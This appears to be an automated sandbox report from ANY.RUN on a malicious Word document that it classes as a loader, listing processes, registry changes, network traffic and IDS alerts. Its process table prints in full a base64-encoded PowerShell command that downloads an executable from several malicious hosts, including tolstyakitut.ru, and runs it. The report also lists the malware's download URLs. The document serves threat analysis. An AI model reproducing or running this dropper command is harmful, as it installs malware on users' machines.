| URL: | https://www.dkstudy.com/Februar2019/VTDXDMEZW2724842/Dokumente/DOC |
| Full analysis: | https://app.any.run/tasks/36396d00-b8e5-4e06-a1b8-8884db70e0b8 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | February 18, 2019, 18:59:10 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MD5: | 234D5E722C5D02702C5B5ADF4BE4A754 |
| SHA1: | B55A9CC6B8E9F9B1488A27FDDE9B2C3DE52B4AC6 |
| SHA256: | 49577825B0B907612133D2092F771AF06EAAFF0A47504570D310ACC498E3790C |
| SSDEEP: | 3:N8DSL1UcyKMHh+30pkXh/pmBmn:2OLS5HhNMhRmQn |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 564 | powersheLl -e JABvADcAMQBfADcAOABfADMAPQAoACcAUgAnACsAJwBfAF8AMwBfADAAJwApADsAJABCADkAMgA5AF8AOQA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABsAF8AOAA1AF8AOQBfAD0AKAAnAGgAdAB0AHAAOgAvAC8AJwArACcAdABvACcAKwAnAGwAJwArACcAcwAnACsAJwB0AHkAYQBrAGkAJwArACcAdAB1AHQALgAnACsAJwByAHUALwAnACsAJwBvACcAKwAnADAARQAnACsAJwBsAHIAUgBPACcAKwAnADAAJwArACcAVwAzACcAKwAnAFkAJwArACcAcgBPAGcAQABoAHQAdAAnACsAJwBwADoALwAnACsAJwAvAHQAYQB0AHQAJwArACcAbwAnACsAJwBvACcAKwAnAGwAYQBiAG0AYQB4AGEAJwArACcAawB1AGwAJwArACcAYQAuAGsAegAnACsAJwAvADcAJwArACcANgA0ACcAKwAnADQAbgA2AE4ANgAnACsAJwBpAEsAUwAnACsAJwBlAEAAJwArACcAaAAnACsAJwB0AHQAcAA6AC8AJwArACcALwB3ACcAKwAnAHcAJwArACcAdwAnACsAJwAuACcAKwAnAHQAaQBtACcAKwAnAG8AJwArACcAdABoAHkAbQBpAGwAbAAnACsAJwBzAC4AbwByACcAKwAnAGcALgB1ACcAKwAnAGsALwBFADAAbwBLAE8AYQAwAEQAeQBDAE4AJwArACcANgBAACcAKwAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAbgBhACcAKwAnAHYAaQBnAGEAdABvACcAKwAnAHIAcABvACcAKwAnAGoAaQAnACsAJwB6ACcAKwAnAG4AaQAuACcAKwAnAHIAdQAvAFoAcgBFAG8ATwBoAHEAJwArACcAawAnACsAJwBIAEgAbQAnACsAJwBMAFkAJwArACcAXwBPAG4AYQBkAEIAeQAnACsAJwBFACcAKwAnAGgAcwBAACcAKwAnAGgAdAB0AHAAOgAvAC8AZgBlACcAKwAnAG4AaQBjAGgAawBhAC4AJwArACcAcgB1AC8AbgBoADcAJwArACcAcwBRAGEAJwArACcAZABGAFIAeABIADkAJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAUQBfADkANAA0ADUANgA3AD0AKAAnAFAAOAAnACsAJwBfACcAKwAnADAANgA3ACcAKQA7ACQAcwA4AF8AMgA3ADEAIAA9ACAAKAAnADYANQAnACsAJwAxACcAKQA7ACQAawA2ADkAMQBfADYAMQAwAD0AKAAnAGoAXwA1AF8AJwArACcAMAAwACcAKQA7ACQAaQBfADIAXwAyADgANQAxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABzADgAXwAyADcAMQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGgANgAwADYAMwA3ACAAaQBuACAAJABsAF8AOAA1AF8AOQBfACkAewB0AHIAeQB7ACQAQgA5ADIAOQBfADkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAaAA2ADAANgAzADcALAAgACQAaQBfADIAXwAyADgANQAxACkAOwAkAGIAMwBfADgAXwA5AD0AKAAnAGgAJwArACcANQAwADUANgAnACsAJwA4AF8AXwAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABpAF8AMgBfADIAOAA1ADEAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABpAF8AMgBfADIAOAA1ADEAOwAkAG0AMAAwAF8AMwA5ADgAPQAoACcAVABfADAANAAnACsAJwBfACcAKwAnADMAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAG4AMgAzADcAXwA2AD0AKAAnAG4AMQA4AF8AMgAnACsAJwAxADcANwAnACkAOwA= | C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2800 | "C:\Users\admin\651.exe" | C:\Users\admin\651.exe | 651.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2848 | "C:\Program Files\Internet Explorer\iexplore.exe" -nohome | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3120 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\0345866963065_2019.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3212 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2848 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3532 | "C:\Users\admin\651.exe" | C:\Users\admin\651.exe | — | powersheLl.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3616 | "C:\Program Files\Opera\opera.exe" | C:\Program Files\Opera\opera.exe | explorer.exe | ||||||||||||
User: admin Company: Opera Software Integrity Level: MEDIUM Description: Opera Internet Browser Exit code: 0 Version: 1748 Modules
| |||||||||||||||
| 3640 | "C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe" | C:\Users\admin\AppData\Local\wabmetagen\wabmetagen.exe | — | 651.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| (PID) Process: | (2848) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main |
| Operation: | write | Name: | CompatibilityFlags |
Value: 0 | |||
| (PID) Process: | (2848) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2848) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (2848) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones |
| Operation: | write | Name: | SecuritySafe |
Value: 1 | |||
| (PID) Process: | (2848) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings |
| Operation: | write | Name: | ProxyEnable |
Value: 0 | |||
| (PID) Process: | (2848) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections |
| Operation: | write | Name: | SavedLegacySettings |
Value: 4600000069000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000 | |||
| (PID) Process: | (2848) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Recovery\Active |
| Operation: | write | Name: | {4CE85F05-33AF-11E9-AA93-5254004A04AF} |
Value: 0 | |||
| (PID) Process: | (2848) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore |
| Operation: | write | Name: | Type |
Value: 4 | |||
| (PID) Process: | (2848) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore |
| Operation: | write | Name: | Count |
Value: 3 | |||
| (PID) Process: | (2848) iexplore.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2670000A-7350-4F3C-8081-5663EE0C6C49}\iexplore |
| Operation: | write | Name: | Time |
Value: E30702000100120012003B0016009402 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2848 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 2848 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 3616 | opera.exe | C:\Users\admin\AppData\Roaming\Opera\Opera\opr89A.tmp | — | |
MD5:— | SHA256:— | |||
| 3616 | opera.exe | C:\Users\admin\AppData\Roaming\Opera\Opera\opr8DA.tmp | — | |
MD5:— | SHA256:— | |||
| 3616 | opera.exe | C:\Users\admin\AppData\Local\Opera\Opera\cache\sesn\opr0000V.tmp | — | |
MD5:— | SHA256:— | |||
| 3616 | opera.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\M9ZV456R59E8NMG0SO6U.temp | — | |
MD5:— | SHA256:— | |||
| 3616 | opera.exe | C:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.dat | binary | |
MD5:— | SHA256:— | |||
| 3616 | opera.exe | C:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xml | xml | |
MD5:— | SHA256:— | |||
| 3616 | opera.exe | C:\Users\admin\AppData\Roaming\Opera\Opera\typed_history.xml | xml | |
MD5:— | SHA256:— | |||
| 3616 | opera.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\16ec093b8f51508f.customDestinations-ms~RF2115c9.TMP | binary | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3616 | opera.exe | GET | — | 195.27.31.232:80 | http://ocsp.dcocsp.cn/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRJrF0xYA49jC3D83fgDGesaUkzIQQUf9OZ86BHDjEAVlYijrfMnt3KAYoCEAjcpTCOACXEZyq0lpzxC1k%3D | DE | — | — | whitelisted |
3616 | opera.exe | GET | 200 | 93.184.220.29:80 | http://crl3.digicert.com/DigiCertGlobalRootCA.crl | US | der | 581 b | whitelisted |
564 | powersheLl.exe | GET | 200 | 81.177.135.91:80 | http://tolstyakitut.ru/o0ElrRO0W3YrOg/ | RU | executable | 361 Kb | suspicious |
564 | powersheLl.exe | GET | 301 | 81.177.135.91:80 | http://tolstyakitut.ru/o0ElrRO0W3YrOg | RU | html | 246 b | suspicious |
2848 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
3616 | opera.exe | GET | 200 | 66.225.197.197:80 | http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl | US | der | 543 b | whitelisted |
3616 | opera.exe | GET | 200 | 93.184.220.29:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEAOXQPQlVpLtFek%2BmcpabOk%3D | US | der | 471 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3212 | iexplore.exe | 43.226.146.30:443 | www.dkstudy.com | — | CN | unknown |
3616 | opera.exe | 66.225.197.197:80 | crl4.digicert.com | CacheNetworks, Inc. | US | whitelisted |
3616 | opera.exe | 82.145.215.40:443 | certs.opera.com | Opera Software AS | — | whitelisted |
2848 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
3616 | opera.exe | 43.226.146.30:443 | www.dkstudy.com | — | CN | unknown |
3616 | opera.exe | 93.184.220.29:80 | ocsp.digicert.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
3616 | opera.exe | 185.26.182.111:443 | sitecheck2.opera.com | Opera Software AS | — | whitelisted |
3616 | opera.exe | 195.27.31.232:80 | ocsp.dcocsp.cn | CW Vodafone Group PLC | DE | suspicious |
564 | powersheLl.exe | 81.177.135.91:80 | tolstyakitut.ru | JSC RTComm.RU | RU | suspicious |
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
www.dkstudy.com |
| unknown |
certs.opera.com |
| whitelisted |
crl4.digicert.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
sitecheck2.opera.com |
| whitelisted |
crl3.digicert.com |
| whitelisted |
ocsp.dcocsp.cn |
| whitelisted |
tolstyakitut.ru |
| suspicious |
PID | Process | Class | Message |
|---|---|---|---|
564 | powersheLl.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
564 | powersheLl.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
564 | powersheLl.exe | Misc activity | ET INFO EXE - Served Attached HTTP |